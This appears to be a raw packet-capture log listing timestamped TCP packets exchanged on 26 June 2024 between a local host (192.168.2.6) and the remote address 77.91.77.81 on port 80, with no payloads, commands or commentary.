Jun 26, 2024 08:16:31.221103907 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221110106 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221118927 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221131086 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221133947 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221144915 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221157074 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221159935 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221188068 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221188068 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221191883 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221204042 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221218109 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221219063 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221231937 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221241951 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221246958 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221246958 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221267939 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221518993 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221566916 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221579075 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221595049 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221601963 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221616983 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221620083 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221643925 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221800089 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221810102 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221820116 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221827984 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221832991 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221843004 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221847057 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221849918 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221860886 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.221873045 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.221910954 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222096920 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222107887 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222119093 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222125053 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222130060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222182989 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222193003 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222208023 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222210884 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222218990 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222229958 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222229958 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222240925 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222251892 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222256899 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222263098 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222275019 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222310066 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222310066 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222619057 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222630024 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222667933 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222680092 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222691059 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222697020 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222702980 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222713947 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222718000 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222735882 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222735882 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222747087 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222758055 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222762108 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222779989 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222793102 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222801924 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222801924 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222803116 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222820997 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222834110 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222834110 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.222858906 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.222935915 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.253479958 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.253546953 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.253547907 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.253560066 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.253621101 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.253621101 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.253675938 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.253686905 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.253698111 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.253709078 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.253722906 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.253736973 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.253772974 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.267748117 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.267765045 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.267777920 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.267859936 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.267859936 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.267879009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.267890930 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.267903090 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.267952919 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.267952919 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.268194914 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.268205881 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.268335104 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274087906 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274149895 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274161100 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274178028 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274193048 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274204969 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274215937 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274220943 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274240017 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274250984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274255991 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274378061 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274708033 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274728060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274738073 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274801016 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274801016 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274816990 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274828911 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274841070 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274852991 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274877071 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.274880886 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274880886 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274902105 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.274930954 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.308028936 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308041096 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308052063 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308160067 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.308183908 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.308372021 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308382988 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308399916 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308410883 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308427095 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.308427095 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.308439016 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.308594942 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.308870077 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308954954 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308964968 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.308983088 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309011936 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309034109 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309046030 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309062958 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309106112 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309120893 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309129000 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309132099 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309181929 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309181929 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309232950 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309243917 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309269905 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309303999 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309422970 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309436083 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309452057 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309463978 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309474945 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309479952 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309479952 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309487104 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309498072 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309526920 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309526920 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309653044 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309684992 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309696913 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309706926 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309716940 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309727907 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309739113 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309742928 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309772015 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309797049 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309813976 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309824944 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309827089 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309839964 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309849977 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309860945 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.309869051 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309869051 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.309969902 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310286045 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310296059 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310302019 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310303926 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310308933 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310374022 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310374022 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310421944 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310436010 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310446024 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310472965 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310487032 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310498953 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310514927 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310581923 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310707092 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310718060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310771942 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310784101 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310794115 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310801029 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310803890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310815096 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310826063 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310830116 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310830116 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310837984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310847998 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310858011 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310883045 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310894012 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310894966 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.310956001 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.310956001 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311259031 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311307907 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311319113 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311330080 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311336040 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311342001 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311352968 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311356068 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311371088 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311383009 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311389923 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311389923 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311393976 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311403990 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311419010 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311419964 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311448097 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311628103 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311825037 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311836004 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311846018 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311856031 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311866999 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311877966 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311882973 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311887980 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311899900 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311912060 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311927080 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311929941 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311938047 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311948061 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311954975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311954975 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.311959028 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311971903 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311981916 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.311984062 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.312011003 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.312027931 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.342257023 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.342269897 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.342282057 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.342336893 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.342348099 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.342356920 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.342360020 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.342370987 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.342381001 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.342391014 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.342415094 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.342464924 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.357177973 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.357188940 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.357202053 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.357263088 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.357274055 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.357285023 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.357289076 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.357332945 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.357332945 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.357356071 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.358067036 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.362852097 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.362932920 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.362945080 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.362992048 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363008022 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363018990 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363033056 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363038063 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363048077 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363060951 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363101006 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363101006 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363487959 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363553047 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363563061 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363580942 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363611937 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363612890 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363626003 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363637924 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363650084 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363661051 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363672018 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363699913 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.363818884 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.363930941 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.396692038 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.396816015 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.396826029 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.396836996 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.396847010 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.396851063 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.396862984 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.396881104 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.396955967 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.396955967 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.396991968 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.397013903 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.397083998 CEST	49715	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:31.397595882 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.397654057 CEST	80	49715	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:31.397680998 CEST	80	49715	77.91.77.81	192.168.2.6
